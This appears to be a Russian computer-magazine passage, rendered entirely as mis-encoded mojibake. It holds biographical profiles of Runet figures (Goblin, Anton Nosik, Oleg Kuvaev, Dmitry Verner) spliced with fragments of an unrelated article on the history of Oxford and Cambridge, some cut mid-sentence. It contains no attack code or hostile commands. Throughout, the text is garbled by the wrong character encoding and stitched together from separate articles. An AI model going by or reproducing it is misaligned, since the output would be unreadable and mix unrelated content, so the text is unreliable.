àðìèè âìåñòî èíñòèòóòà îí ñòàë ðàáîòàòü è ñìåíèë äþæèíó ïðîôåññèé: îò
âîäèòåëÿ äî ãèäðîãåîëîãà. À â êîíöå 80-õ ãã. ðåøèë, ÷òî åãî ïðèçâàíèå �
îõðàíÿòü çàêîí, è ïîñòóïèë â øêîëó ìèëèöèè, îòêóäà ïîïàë â ÃÓÂÄ. Ðàáîòà
îïåðà îòëè÷àëàñü îò òîé, ÷òî ðèñóþò â êíèãàõ. Ïðèõîäèëîñü îáùàòüñÿ èëè ñ
óáèòûìè ãîðåì ëþäüìè, èëè ñ îòïåòûìè ïîäîíêàìè. Íî, îãëÿäûâàÿñü íàçàä,
Äìèòðèé ñ÷èòàåò ýòè ãîäû ñàìûìè èíòåðåñíûìè â ñâîåé æèçíè. 
Âïåðâûå î Ãîáëèíå óçíàëè èç ñòàòåé, êîòîðûå îí ïèñàë äëÿ èãðîâûõ
æóðíàëîâ. Â îñíîâíîì îá èãðå Quake, êîòîðóþ î÷åíü ïîëþáèë. ×óòü ïîç-
æå îí ïîçíàêîìèëñÿ ñ íåáåçûçâåñòíûì Çàâõîçîì è ñòàë ãðàôîìàíèòü
íà ïîïóëÿðíîì èãðîâîì ñàéòå quake.spb.ru. Êîãäà ïîÿâèëñÿ DTF, Äèìà
ñòàë âåñòè òàì ñâîé ðàçäåë «Òóïè÷îê Ãîáëèíà», ãäå ïðîñòî äåëèëñÿ ñâî-
èìè ìûñëÿìè îá èãðàõ. Â 1999 ãîäó ðàçäåë ïðåâðàòèëñÿ â ñàìîñòîÿòåëü-
íûé àâòîðñêèé ðåñóðñ oper.ru, êîòîðûé îñòàåòñÿ èì äî ñèõ ïîð.
Ïåðåâîäîì ôèëüìîâ Ãîáëèí ñòàë çàíèìàòüñÿ åùå â 1995 ãîäó. Ê ýòîìó
âðåìåíè îí óæå óøåë èç ìèëèöèè è ïûòàëñÿ çàíÿòüñÿ áèçíåñîì. Ïåðå-
âîäû ñòàëè ñâîåîáðàçíûì õîááè, òàê êàê, ïî ìíåíèþ Äìèòðèÿ, ãíóñàâûé
ãîëîñ è ñîâåðøåííî ëåâûå ïåðåñêàçû íå âïèñûâàëèñü â ïîíÿòèå «ïðà-
âèëüíûé ïåðåâîä». Ïåðâûå ðàáîòû äåëàëèñü íà ñïåöèàëüíîì âèäåîìàã-
íèòîôîíå, íî ýòî áûë òîò åùå ãåìîð. Ïîÿâëåíèå êîìïüþòåðà âîñïðèíÿ-
ëîñü êàê ñêàçêà: ñ íèì âñå áûëî ïðîùå, áûñòðåå è ýôôåêòèâíåå. Âûïóñ-
òèâ äëÿ äðóçåé íåñêîëüêî ôèëüìîâ â ñâîåì ïåðåâîäå è ïîëó÷èâ ïîääå-
ðæêó, Ãîáëèí îñíîâàë ñîáñòâåííóþ ñòóäèþ ïåðåâîäîâ «Ïîëíûé Ïý»,
ñîñòîÿùóþ èç îäíîãî ÷åëîâåêà, è ïðîäîëæèë ïîëþáèâøååñÿ äåëî.
Êðîìå ýòîãî, èíîãäà âñòðå÷àþòñÿ ìîìåíòû, ïîíÿòíûå òîëüêî àìåðèêàíñ-
êèì æèòåëÿì. Âñÿêèå ññûëêè íà èçâåñòíûå â ÑØÀ ïåðåäà÷è, ñïåöèôè÷-
íûé äëÿ ýòîé ñòðàíû þìîð. Ðàçîáðàòüñÿ âî âñåì ýòîì Ãîáëèíó ïîìîãà-
þò çíàêîìûå, êîòîðûå æèâóò â Àìåðèêå. Ôèëüìû îò Ãîáëèíà èçâåñòíû
òåì, ÷òî â íèõ íåò öåíçóðû. Åñëè â êàðòèíå â òà÷êó êàêîãî-íèáóäü íåãðà
èç Áðóêëèíà âúåõàë àìåðèêàíñêèé «çàïîð», òî ãíåâíàÿ òèðàäà íåãðà ïå-
ðåâîäèòñÿ äîñëîâíî è áåç îáèíÿêîâ.
Î÷åíü ïîïóëÿðíûì ïðîåêòîì Ãîáëèíà ñòàëà ñòóäèÿ ïåðåâîäîâ «Áîæüÿ èñê-
ðà». Åå öåëüþ ÿâëÿåòñÿ íå ïåðåâåñòè ñìûñë ðåïëèê êàê ìîæíî áëèæå ê îðè-
ãèíàëó, à, íàîáîðîò, èçâðàòèòü èõ òàê, ÷òîáû ýòî áûëî ñìåøíî è áëèçêî
ñåðäöó ðóññêîãî ÷åëîâåêà. Ðîäèëàñü ýòà èäåÿ áëàãîäàðÿ ïîñåòèòåëÿì
oper.ru, êîòîðûå óáåäèëè ëþáèìîãî ïåðåâîä÷èêà, ÷òî ãëóïûå ôðàçû, çàìå-
íåííûå íà ïðèêîëû, ÷àñòî íå òîëüêî íå âðåäÿò, íî è èäóò ôèëüìó íà ïîëü-
çó. «Íåò â òåáå Áîæüåé èñêðû, Ãîáëèí, èíà÷å òû áû ýòî ïîíÿë». Òàê ïîÿâèë-
ñÿ ýêñïåðèìåíòàëüíûé ïðîåêò ñ òåïåðü óæå âñåì èçâåñòíûì íàçâàíèåì. Ïî-
ìèìî ïåðåâîäîâ ôèëüìîâ Ãîáëèí â ñâîå âðåìÿ ðàáîòàë íàä ëîêàëèçàöèåé
êîìïüþòåðíûõ èãðóøåê. Ãåéìåðàì íàâåðíÿêà èçâåñòíû íàçâàíèÿ: «Ãîðü-
êèé-18», «Ñåðüåçíûé Ñýì: Âòîðîå ïðèøåñòâèå», «Äþê Íþêåì: Ïðîåêò Ìàí-
õýòòåí», «Ôàíàòû», «Áóìåð. Ñîðâàííûå áàøíè».

[Àíòîí Íîñèê]
Àíòîí Íîñèê çà ñâîþ æèçíü óñïåë ïîáûâàòü è âðà÷îì, è áèçíåñìåíîì, è
ïðåçèäåíòîì êîìïàíèè Rambler. Íî áîëüøå âñåãî îí èçâåñòåí êàê ñåòåâîé
æóðíàëèñò, îòåö ïðîåêòà «Âå÷åðíèé Èíòåðíåò». Ïèñàòü äëÿ ïå÷àòíûõ èç-
äàíèé Íîñèê ñòàë â 1990 ãîäó, ïîñëå ýìèãðàöèè â Èçðàèëü. Ñíà÷àëà � íà
àíãëèéñêîì, çàòåì � íà ðóññêîì, â îñíîâíîì, îá ýêîíîìèêå ñòðàíû. Ïè-
ñàë îïåðàòèâíî, ìíîãî, è, íåñìîòðÿ íà òî, ÷òî åãî àíàëèòè÷åñêèå ïðîãíî-
çû îáû÷íî íå ñáûâàëèñü, àâòîðà ëþáèëè è ÷èòàëè. Â íà÷àëå 90-õ åãî äà-
æå ñ÷èòàëè îäíèì èç ñàìûõ ïîïóëÿðíûõ æóðíàëèñòîâ Ðîññèè. Â 1995 ãî-
äó Àíòîí Íîñèê âåðíóëñÿ â ïðåññó ïîñëå äâóõëåòíåãî çàòèøüÿ è ñòàë âåñ-
òè íîâóþ ðóáðèêó «Íàøè Ñåòè», êîòîðàÿ çíàêîìèëà ÷èòàòåëåé ñ Èíòåðíå-
òîì. Ýòà òåìà òîãäà íà ïîñòîÿííîé îñíîâå íèêåì íå îñâåùàëàñü, ïîýòîìó
âûçâàëà èíòåðåñ, ê òîìó æå Íîñèê, óæå âîñüìîé ãîä îáèòàâøèé â Ôèäî,
çíàë î ñåòÿõ íå ïîíàñëûøêå. Ïîìèìî ïèñàòåëüñêîé äåÿòåëüíîñòè Àíòîí
ïûòàëñÿ çàíÿòüñÿ ýëåêòðîííîé êîììåðöèåé, íî â èòîãå èç ýòîãî íè÷åãî íå
âûøëî:  ðóíåò òîãäà áûë ñëèøêîì ìàë è íå ðàñïîëàãàë ê õîðîøåìó íà íåì
çàðàáîòêó.
Ïðîåêò «Âå÷åðíèé Èíòåðíåò», êîòîðûé ïðîñëàâèë àâòîðà íà âñþ Ñåòü,
ñòàðòîâàë 24 äåêàáðÿ 1996 ãîäó. Ýòî áûëà îáû÷íàÿ êîëîíêà íà ñàéòå,
ñîçäàííàÿ äëÿ èíôîðìàöèîííîé ïîääåðæêè êîìïàíèè «Ñèòèëàéí». Àí-
òîí ðàññêàçûâàë î ñîáûòèÿõ â ðóíåòå, íîâûõ ðåñóðñàõ Ñåòè, è, òàê êàê
ñàì èñêðåííå ýòèì èíòåðåñîâàëñÿ, ïîëó÷àëîñü ó íåãî îòëè÷íî.
Îñîáåííîñòüþ ÂÈ áûëî òî, ÷òî îáíîâëÿëñÿ ñàéò åæåäíåâíî. Íîñèê ñ íåóòî-
ìèìûì óïîðñòâîì âûäàâàë ïî 20 êèëîáàéò â äåíü, è àäðåñ http://vi.city-
line.ru/vi/current.htm ïðîïèñàëè ñòàðòîâîé ñòðàíè÷êîé â ñâîèõ áðàóçåðàõ
÷óòü ëè íå ïîëîâèíà ðóíåò÷èêîâ. Ñ ðàçâèòèåì Ñåòè è ïîÿâëåíèåì ìíîãî÷èñ-
ëåííûõ åæåäíåâíûõ îáîçðåíèé, àæèîòàæ âîêðóã «Âå÷åðíåãî Èíòåðíåòà»
ñïàë, õîòÿ ïîñòîÿííûå ÷èòàòåëè ïðîäîëæàëè íà íåãî òðàäèöèîííî çàõîäèòü.
Ïîñëåäíèé, 441-é âûïóñê ÂÈ ñîñòîÿëñÿ 25 àïðåëÿ 1999 ãîäà.
Äàëüøå Íîñèê çàíèìàëñÿ àêòèâíûì ïðîäâèæåíèåì Èíòåðíåòà ÷åðåç ïîïó-
ëÿðíûå ïå÷àòíûå ÑÌÈ. Ïîä åãî èìåíåì âûõîäèëè ñòàòüè â ñàìûõ ðàçíûõ
èçäàíèÿõ: îò ãàçåòû «Ìîñêîâñêèé Êîìñîìîëåö» äî êîìïüþòåðíûõ æóðíà-
ëîâ. Òåìà âñåãäà áûëà òà æå � Ñåòü, êîìïüþòåðû è âñå ñ ýòèì ñâÿçàííîå.
Â 1999 ãîäó Àíòîí îñíîâàë ïîïóëÿðíûé íîâîñòíîé ñàéò Ãàçåòà.ðó, çàíÿâ â
íåì äîëæíîñòü ðåäàêòîðà. Ïîìèìî íîâîñòåé â «Ãàçåòå» ïóáëèêîâàëèñü
ñåðüåçíûå àíàëèòè÷åñêèå ìàòåðèàëû. ×åðåç êàêîå-òî âðåìÿ áûëî ïðèíÿòî
ðåøåíèå íîâîñòè è àíàëèòèêó ðàçäåëèòü, ïîñëå ÷åãî ïîÿâèëîñü äâà íîâûõ
ïðîåêòà: íîâîñòíàÿ � Lenta.ru è àíàëèòè÷åñêèå � Vesti.ru. Ïîñëå ñâàëèâ-
øèõñÿ íà Rambler ôèíàíñîâûõ ïðîáëåì, Àíòîíà Íîñèêà ïðèãëàñèëè íà ïîñò
ïðåçèäåíòà êîìïàíèè. Êàê îáúÿñíèë â èíòåðâüþ æóðíàëèñò, Lenta.ru è
Rambler.ru â ñâîå âðåìÿ áûëè ïðèîáðåòåíû êðóïíûì èíâåñòîðîì, ïîñëå ÷å-
ãî äåíüãè íà ïîääåðæêó îáîèõ ðåñóðñîâ ñòàëè ñûïàòüñÿ â êîëè÷åñòâå áîëü-
øåì, ÷åì íóæíî. Íåñìîòðÿ íà ùåäðîñòü ñïîíñîðîâ, Ëåíòà.ðó âûøëà íà ñà-
ìîîêóïàåìîñòü, â òî âðåìÿ êàê Ðàìáëåð öåëèêîì çàâèñåë îò ôèíàíñîâîãî
ðó÷üÿ. Êîãäà òîò èññÿê, íà÷àëèñü ïðîáëåìû, ðåøèòü êîòîðûå è ïîïðîñèëè
ðåäàêòîðà Ëåíòû.
Íåñìîòðÿ íà òî, ÷òî Àíòîí ñäåëàë äëÿ ðóíåòà äîñòàòî÷íî, ÷òîáû ñ ÷èñòîé
ñîâåñòüþ âûéòè íà ïåíñèþ, îòäûõàòü îí íå ñîáèðàåòñÿ. Íåäàâíî çàïóñòèë
äâà íîâûõ ïðîåêòà: èíôîðìàöèîííîå àãåíòñòâî «Êóðñîð» http://cursorinfo.co.il
è èíôîðìàöèîííûé ñàéò î ñîáûòèÿõ â Ðîññèè íà àíãëèéñêîì ÿçûêå
www.mosnews.com. Òàêæå îí âåäåò äíåâíèê http://livejournal.com/~dolboeb �
îäèí èç ñàìûõ ïîïóëÿðíûõ â ÆÆ.
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Ðàññêàç î äâóõ ñàìûõ 
ïðåñòèæíûõ âóçàõ Åâðîïû
[óíèâåðñèòåò Îêñôîðäà] Èñòîðèêè íå ñìîãëè îïðåäåëèòü òî÷-
íóþ äàòó åãî îñíîâàíèÿ. Íàéäåíû äîêàçàòåëüñòâà òîãî, ÷òî â íåì
ïðåïîäàâàëè åùå â 1096 ãîäó, íî òîãäà îí áîëüøå íàïîìèíàë íå-
áîëüøîé êîëëåäæ. Â 1167 ãîäó êîðîëü Àíãëèè Ãåíðè II çàïðåòèë àíã-
ëèéñêèì ñòóäåíòàì ó÷èòüñÿ â Ïàðèæñêîì óíèâåðñèòåòå � êðóïíåé-
øåì âóçå ñòàðîé Àíãëèè, è Îêñôîðä ñòàë ñòðåìèòåëüíî ðàñòè. Âîç-
ìîæíî, ñûãðàëî ðîëü âûãîäíîå ìåñòîïîëîæåíèå èëè õîðîøàÿ ðåïó-
òàöèÿ, òàê èëè èíà÷å íîâûé óíèâåðñèòåò îáóñòðàèâàëñÿ è ïîïîëíÿë-
ñÿ íîâûìè êàìïóñàìè. Â 1209 ãîäó íà òåððèòîðèè Îêñôîðäñêîãî óíè-
âåðñèòåòà ïðîèçîøëî èçíàñèëîâàíèå. Íàñèëüíèêà íàéòè òàê è íå
óäàëîñü, è ãîðîæàíå ïîâåñèëè â îòìåñòêó òðîèõ åãî äðóçåé. Ýòîò ñëó-
÷àé âûçâàë áóðþ ïðîòåñòà ó ñòóäåíòîâ, êîòîðûå ïîêèíóëè ãîðîä Îêñ-
ôîðä è ñòàëè èñêàòü äëÿ ñåáÿ íîâûå ó÷åáíûå çàâåäåíèÿ. Àêàäåìèêè,

ïðåïîäàâàâøèå òàì ðàíåå, äâèíóëèñü íà ñåâåðî-âîñòîê è îñíîâàëè
íîâûé óíèâåðñèòåò â ãîðîäå Êåìáðèäæ. Íåñêîëüêî ëåò ñïóñòÿ, ðèìñ-
êèé êàðäèíàë Íèêîëàñ Ðîìàíóñ, ïî ïðîñüáå æèòåëåé Îêñôîðäà, îá-
ðàòèëñÿ ê ñòóäåíòàì, ïðèçûâàÿ èõ âåðíóòüñÿ è ïîîáåùàâ ìíîãî÷èñ-
ëåííûå ëüãîòû. Ýòî ïîäåéñòâîâàëî, æèçíü â óíèâåðñèòåòå âåðíóëàñü
â ñâîå ðóñëî. Äî êîíöà XIX âåêà â óíèâåðñèòåòå áûëè ñòðîãèå îãðà-
íè÷åíèÿ íà ïîëó÷åíèå âûñøåé ñòåïåíè. Òàê, ñòåïåíü áàêàëàâðà äà-
âàëè òîëüêî òåì, êòî èìåë îòíîøåíèå ê Àíãëèéñêîé Öåðêâè, äèññè-
äåíòû íå ìîãëè ïîëó÷èòü ñòåïåíü âûøå MA, è äëÿ ïîëó÷åíèÿ ëþáîé
ñòåïåíè íåîáõîäèìî áûëî õîðîøî çíàòü äðåâíåãðå÷åñêèé ÿçûê è ëà-
òûíü. Æåíùèíàì âîîáùå íå ïîçâîëÿëîñü èìåòü íàó÷íóþ ñòåïåíü
âïëîòü äî 1920 ãîäà. Ñåé÷àñ âñå ýòè îãðàíè÷åíèÿ óæå íå àêòóàëüíû.
Óíèâåðñèòåò Îêñôîðäà íàõîäèòñÿ â ÷èñëå åâðîïåéñêèõ âóçîâ, â

ÅÑËÈ ÒÛ ÂÍÈÌÀÒÅËÜÍÎ ×ÈÒÀÅØÜ «ÕÀÊÅÐ», ÒÎ ÄÎËÆÅÍ
ÕÎÐÎØÎ ÇÍÀÒÜ ÎÁ ÌÒÈ, ÌÃÓ È ÄÐÓÃÈÕ Ó×ÅÁÍÛÕ È ÍÀÓ×-

ÍÛÕ ÇÀÂÅÄÅÍÈßÕ, Î ÊÎÒÎÐÛÕ ß ÓÆÅ ÐÀÑÑÊÀÇÛÂÀË.
ÈÌÅÍÍÎ ÎÍÈ ÂÛÏÓÑÊÀÞÒ Â ÌÈÐ ËÞÄÅÉ, ÊÎÒÎÐÛÅ ÄÅËÀ-

ÞÒ ÐÅÂÎËÞÖÈÎÍÍÛÅ ÊÎÌÏÜÞÒÅÐÍÛÅ ÎÒÊÐÛÒÈß, È ÈÌÅÍ-
ÍÎ ÂÍÓÒÐÈ ÈÕ ÊÀÌÏÓÑÎÂ ÂÅÄÓÒÑß ÂÀÆÍÛÅ ÄËß ÍÀÓ×ÍÎ-
ÃÎ ÌÈÐÀ ÈÑÑËÅÄÎÂÀÍÈß. ÍÀÑÒÀËÀ ÏÎÐÀ ÐÀÑÑÊÀÇÀÒÜ ÒÅ-
ÁÅ Î ÂÓÇÀÕ, ÊÎÒÎÐÛÅ ßÂËßÞÒÑß ÑÒÀÐÅÉØÈÌÈ È ÏÐÅÑ-
ÒÈÆÍÅÉØÈÌÈ Â ÅÂÐÎÏÅ È ÂÎ ÂÑÅÌ ÌÈÐÅ. Ñ ÊÀÆÄÛÌ ÈÇ
ÍÈÕ ÑÂßÇÀÍÀ ÑÂÎß ÂÅÊÎÂÀß ÈÑÒÎÐÈß, ÎÁÚÅÄÈÍßÞÙÀß

ÈÕ ÏÐÎÒÈÂÎÑÒÎßÍÈÅ, ÊÎÒÎÐÎÅ ÄËÈÒÑß Ñ ÍÅÇÀÏÀÌßÒÍÛÕ
ÂÐÅÌÅÍ | mindw0rk (mindw0rk@gameland.ru)
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[Îëåã Êóâàåâ]
Ñ ôàìèëèåé Êóâàåâà èìÿ Ìàñÿíÿ àññîöèèðóåòñÿ òàê æå ïðî÷íî, êàê
Ìàñÿíÿ ñ Êóâàåâûì. À êòî òàêàÿ Ìàñÿíÿ îáúÿñíÿòü íàøåìó ÷åëîâåêó íå
íóæíî. Âñå íà÷àëîñü îñåíüþ 2001 ãîäà, â íåáîëüøîé ïèòåðñêîé
õóäîæåñòâåííîé ìàñòåðñêîé, ãäå Îëåã ðèñîâàë êàðòèíû. Îäíèì èç
óâëå÷åíèé õóäîæíèêà áûëî èçó÷åíèå ÿçûêà Flash, íà êîòîðîì
îêàçàëîñü ïðîñòî è óâëåêàòåëüíî äåëàòü àíèìàöèþ. Ïîñëå
ýêñïåðèìåíòîâ ñî çâóêîì Êóâàåâ ðåøèë ïîïðîáîâàòü ñîçäàòü ìóëüòèê,
è, ÷òîáû íå çàìîðà÷èâàòüñÿ ñ äåòàëÿìè, íàáðîñîê ãåðîèíè ñäåëàë, êàê
â òîé ïåñåíêå: «òî÷êà, òî÷êà, îãóðå÷èê � ïîëó÷èëñÿ ÷åëîâå÷åê». Èìÿ
ïðèøëî íà óì ñàìî � Ìàñÿíÿ. Ïåðâûå ìóëüòèêè ïðî Ìàñÿíþ Îëåã
ïîêàçàë ñâîèì çíàêîìûì. Ïîíðàâèëîñü. Îíè, â ñâîþ î÷åðåäü, êèíóëè
ññûëêó äðóãèì çíàêîìûì, òå � åùå êîìó-òî. Òàê î ñâîåíðàâíîé
äåâî÷êå èç Ïèòåðà íà÷àë ïîòèõîíüêó óçíàâàòü ðóíåò. Ìóëüòû òîãäà
âûêëàäûâàëèñü íà ñàéòå Êóâàåâà, íî, òàê êàê òâîðåíèå çàðàáàòûâàëî
âñå áîëüøèé óñïåõ, ðåøèëè ñîçäàòü äëÿ íåå íîâûé äîì. Òàê ïîÿâèëñÿ
mult.ru. Ñ ðîñòîì ïîïóëÿðíîñòè Ìàñÿíè â ðóíåòå, èíòåðåñ ê íåé ñî
ñòîðîíû òîëñòîñóìîâ óñèëèâàëñÿ. Îëåãó ñòàëè ñûïàòüñÿ ïðåäëîæåíèÿ
î ðàçìåùåíèè áàííåðîâ, ñîìíèòåëüíîì ôèíàíñèðîâàíèè, à îäíàæäû
äàæå ïðèøëî ïèñüìî îò MTV. Òåëåâèçèîíùèêè õîòåëè ïîïðîáîâàòü
äàòü ìóëüòû â ýôèð, íî èç-çà ïóñòÿêîâûõ íàêëàäîê ýòà çàòåÿ òîãäà
ïðîâàëèëàñü. Òåì âðåìåíåì Êóâàåâà è ñîòðóäíèöó Íàòàøêó èç
êîíòîðû, ãäå îíè ðàáîòàëè, çà ðàçãèëüäÿéñòâî âûäâîðèëè, è, èìåÿ â
êàðìàíå 500 ðóáëåé, ðåáÿòà ñòàëè äóìàòü, êàê æèòü äàëüøå. Òàê êàê ó
Îëåãà â ãîëîâå áûëà îäíà Ìàñÿíÿ, åìó, êîíå÷íî, õîòåëîñü ñîâìåñòèòü
ïðèÿòíîå ñ ïîëåçíûì. Íî îïÿòü æå, 500 ðóáëåé äëÿ îòêðûòèÿ äåëà áûëî
ÿâíî íåäîñòàòî÷íî. Ñ äåíüãàìè ïîìîã õîðîøèé çíàêîìûé, áëàãîäàðÿ
êîòîðîìó è áûë çàðåãèñòðèðîâàí ÎÎÎ «Ìóëüò.ðó». Ìóëüòû Êóâàåâà
âûõîäèëè ñ çàâèäíîé ïåðèîäè÷íîñòüþ, ïåðñîíàæà ïîëþáèëè, è øêâàë
ïîñåòèòåëåé íà ñàéò êàæäóþ íåäåëþ âûçûâàë ïåðåáîè â åãî ðàáîòå.
Ïîòîì ïîÿâèëñÿ ìóëüò «Ýêñêóðñèÿ ïî Ïåòåðáóðãó», âûçâàâøèé
îãðîìíûé ñêàíäàë è îáâèíåíèÿ â íàïàäêàõ íà àäìèíèñòðàöèþ
Ïèòåðà. Ýòó èñòîðèþ êðóòèëè ïî òåëåâèäåíèþ, ïèñàëè î íåé â ãàçåòàõ,
ñëîâîì, ïðîïèàðèëè mult.ru äàëüøå íåêóäà. Áûëè äàæå
ïðåäïîëîæåíèÿ, ÷òî Êóâàåâà ñïåöèàëüíî êóïèëè. Äðóãîé
ñêàíäàë âûçâàëî âíåäðåíèå ðåêëàìû â ìóëüòû. Õîòÿ àâòîð
îáúÿñíèë: «Êóøàòü õî÷åòñÿ», çðèòåëè áûëè íå ãîòîâû
âîñïðèíèìàòü ëþáèìóþ ãåðîèíþ â êà÷åñòâå ìàíåêåíà äëÿ
ðåêëàìèðîâàíèÿ øòàíîâ. Äåëî ñòàëî íàëàæèâàòüñÿ â 2002 ãîäó,
êîãäà ïî èíèöèàòèâå ñàìîãî Ïàðôåíîâà Ìàñÿíÿ ïîïàëà íà ÍÒÂ.
Çëîêëþ÷åíèÿ Êóâàåâà è åãî ãåðîèíè íà ýòîì íå çàêîí÷èëèñü:
ïîñëå ïàðû ìåñÿöåâ óñïåøíîé òðàíñëÿöèè íà÷àëàñü äëèòåëüíàÿ
÷åõàðäà ñ àâòîðñêèìè ïðàâàìè, â ðåçóëüòàòå êîòîðûõ Îëåã
îñòàëñÿ íè ñ ÷åì. 2003�2004 ãîäà äëÿ Ìàñÿíè áûëè ïåðèîäîì
äåïðåññèè. Íîâûõ ìóëüòîâ ïðàêòè÷åñêè íå âûõîäèëî, èìÿ è
îáðàç ãåðîèíè ýêñïëóàòèðîâàëè âñå êîìó íå ëåíü: îò
òåëåêàíàëîâ äî ïðîèçâîäèòåëåé îðåøêîâ. Âåðíóòü âñå ïðàâà íà
Ìàñÿíþ Îëåãó Êóâàåâó óäàëîñü òîëüêî â èþëå 2004 ãîäà,
ïîòðåïàâ ñåáå è ïîêëîííèêàì íåìàëî íåðâîâ. Íî ñåé÷àñ  ñòóäèÿ
Ìóëüò.ðó âîçîáíîâèëà ñâîþ ðàáîòó, âûïóñêàÿ íîâûå ñåðèè ñî
ñòàðûìè è íîâûìè ãåðîÿìè.

[Äìèòðèé Âåðíåð]
Î Äèìå Âåðíåðå ãîâîðÿò òàê: «Îí íàó÷èë ñìåÿòüñÿ ðóíåò». Íà åãî
ñàéò http://anekdot.ru åæåäíåâíî çàõîäÿò äåñÿòêè òûñÿ÷ ëþäåé,
åùå áîëüøå ïîëó÷àò íà ìûëî ðàññûëêó ñî ñâåæèìè àíåêäîòàìè,
àôîðèçìàìè è èñòîðèÿìè. Ñ÷èòàåòñÿ, ÷òî íà ýòîì ðåñóðñå äîë-
æåí ïîáûâàòü õîòü ðàç êàæäûé óâàæàþùèé ñåáÿ ðóíåò÷èê. Âåäü
àíåêäîò.ðó � ýòî íå ïðîñòî ñáîðíèê àíåêäîòîâ, à öåëîå ñîîáùå-
ñòâî ëþáèòåëåé ïîçèòèâíîãî íàñòðîåíèÿ.
Ðîäèëñÿ Äìèòðèé 20 èþëÿ 1959 ãîäà â Ëåíèíãðàäå. Ïîëó÷èâ
ñïåöèàëüíîñòü àñòðîíîìà â ËÃÓ è îòñëóæèâ â àðìèè, ñòàë ðàáî-
òàòü â èíñòèòóòå, à â 1987 ãîäó ñòàë êàíäèäàòîì ôèçèêî-òåõíè-
÷åñêèõ íàóê. Äàëüíåéøàÿ æèçíü áûëà âïëîòíóþ ñâÿçàíà ñ ðàç-
ëè÷íûìè óíèâåðñèòåòàìè, â îñíîâíîì àìåðèêàíñêèìè, ãäå îí
ïðîâîäèë èññëåäîâàíèÿ è ïðåïîäàâàë íà êîíòðàêòíîé îñíîâå.
Áëàãîäàðÿ ìàòåðè, êîòîðàÿ â 80-õ ãîäàõ ðàáîòàëà ïðîãðàììèñ-
òîì, Äèìà ñòàë îäíèì èç ïåðâûõ ïîëüçîâàòåëåé Èíòåðíåòà â
Ðîññèè. Íî äîëãîå âðåìÿ èñïîëüçîâàë åãî â êà÷åñòâå ðàáî÷åãî
èíñòðóìåíòà, ïîñåùàÿ òåìàòè÷åñêèå êîíôåðåíöèè ïî àñòðîôè-
çèêå, îáùàÿñü ñî ñâîèìè êîëëåãàìè è âûêëàäûâàÿ íà FTP íàó÷-
íûå äîêóìåíòû. Â 1995 ãîäó Äìèòðèé Âåðíåð, âäîõíîâëåííûé
ñàéòîì ñâîåãî çíàêîìîãî (ýòî îïÿòü æå áûë óçêîñïåöèàëèçèðî-
âàííûé ðåñóðñ äëÿ àñòðîôèçèêîâ), âûó÷èë ÿçûê HTML è çàãîðåë-
ñÿ èäååé ñîçäàòü ÷òî-òî íà ðóññêîì ÿçûêå. Îí áûë óæå äàâíèì
ïîäïèñ÷èêîì êîíôåðåíöèè relcom.humor, íî ïóáëèêóåìûå òàì
àíåêäîòû ïîñòîÿííî ïîâòîðÿëèñü, êà÷åñòâî íå ôèëüòðîâàëàñü è
â öåëîì êîíôà áûëà ïîëíà ìóñîðà. Òîãäà Äèìà ðåøèë ñàìîñòî-
ÿòåëüíî îòáèðàòü ëó÷øèå «àíåêè» è âûêëàäûâàòü èõ íà ñàéòå â
âèäå åæåäíåâíûõ âûïóñêîâ. Òàê, 7 íîÿáðÿ 1995 ãîäà ïîÿâèëèñü
«Àíåêäîòû èç Ðîññèè» � ïåðâûé åæåäíåâíî îáíîâëÿåìûé ðå-
ñóðñ â èñòîðèè ðóíåòà. ×èòàòåëÿìè åãî áûëè ïðèÿòåëè è çíàêî-
ìûå Äèìû, à êîëè÷åñòâî ïîñåòèòåëåé íå ïðåâûøàëî äåñÿòè â
äåíü. Îñòàëüíûå ëþäè ñòàëè óçíàâàòü î ñàéòå èç ïðîåêòà «Ðóñ-
ñêàÿ ëèòåðàòóðà â Èíòåðíåòå», êîòîðûé ñòàë ïåðâûìè Æåëòûìè
Ñòðàíèöàìè ðóíåòà, è â êîòîðîì àâòîð ðàçìåñòèë ññûëêó íà
àíåêäîòû Âåðíåðà. Â êîíöå 1996 ãîäà ñàéò ïåðååõàë íà «×åðòî-
âû Êóëè÷êè» � î÷åíü ïîïóëÿðíûé â òî âðåìÿ ðàçâëåêàòåëüíûé
ïîðòàë. Òàì îí îáçàâåëñÿ ñèñòåìîé ãîëîñîâàíèÿ, ðåéòèíãîâ è
äðóãèìè ïðèÿòíûìè ôèøêàìè. À åùå ÷óòü ïîçæå ïîëó÷èë ïîñòî-
ÿííûé äîìåí � anekdot.ru.
Ïðîåêò Äìèòðèÿ Âåðíåðà óæå ìíîãî ëåò ïîäðÿä çàíèìàåò ïåðâîå
ìåñòî â ðàçäåëå «Þìîð» ðåéòèíãà Rambler Top 100. À íåñêîëüêî
ëåò íàçàä è âîâñå áûë ñàìûì ïîïóëÿðíûì è ïîñåùàåìûì ñàéòîì
ðóíåòà. Â òå÷åíèå ìåñÿöà ïî÷èòàòü àíåêäîòû çàõîäèò áîëåå 600
òûñÿ÷ ëþäåé ñî âñåõ óãîëêîâ ìèðà, ìíîãèå èç ïîñòîÿííûõ ÷èòàòå-
ëåé ñàìè ó÷àñòâóþò â ïîïîëíåíèè, ïðèñûëàÿ ñâîè øóòêè è âåñå-
ëûå èñòîðèè. Ðåñóðñ íå ñòîèò íà ìåñòå è ïîñòåïåííî ðàçâèâàåòñÿ.
Îäíèì èç ïîñëåäíèõ íîâîââåäåíèé ñòàë çâóêîâîé âûïóñê àíåêäî-
òîâ, ãäå îíè ÷èòàþòñÿ ãîëîñîì. Ïîìèìî àíåêäîòîâ.ðó Äèìà óñïå-
âàåò ïîääåðæèâàòü åùå îäèí ïîïóëÿðíûé ïðîåêò � «Ñóïåðáèçîí»
(íà ñïîðòèâíóþ òåìàòèêó). Òàì ïîñåòèòåëÿì ïðåäëàãàåòñÿ ïîó÷à-
ñòâîâàòü â ñîðåâíîâàíèè ïî ôóòáîëüíûì ïðîãíîçàì.
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íîâ çàíèìàåòñÿ «Êîìèòåò Ñèíèõ», â êîòîðûé âõîäÿò êàïèòàíû êîìàíä îñ-
íîâíûõ âèäîâ ñïîðòà. Äëÿ ñòóäåíòîâ íàñòîëüêî âàæíî ó÷àñòèå è ïîáåäà â
ñîðåâíîâàíèÿõ Îêñôîðä-Êåìáðèäæ, ÷òî íåêîòîðûå äàæå ãîòîâû ïîæåðò-
âîâàòü Îëèìïèàäîé, êàê, íàïðèìåð, ãðåáåö Óýéí Ïîììåí â 2004 ãîäó.
Äðóãèì, íå ìåíåå ñåðüåçíûì ïðîòèâîñòîÿíèåì, ÿâëÿåòñÿ áîðüáà çà ðå-
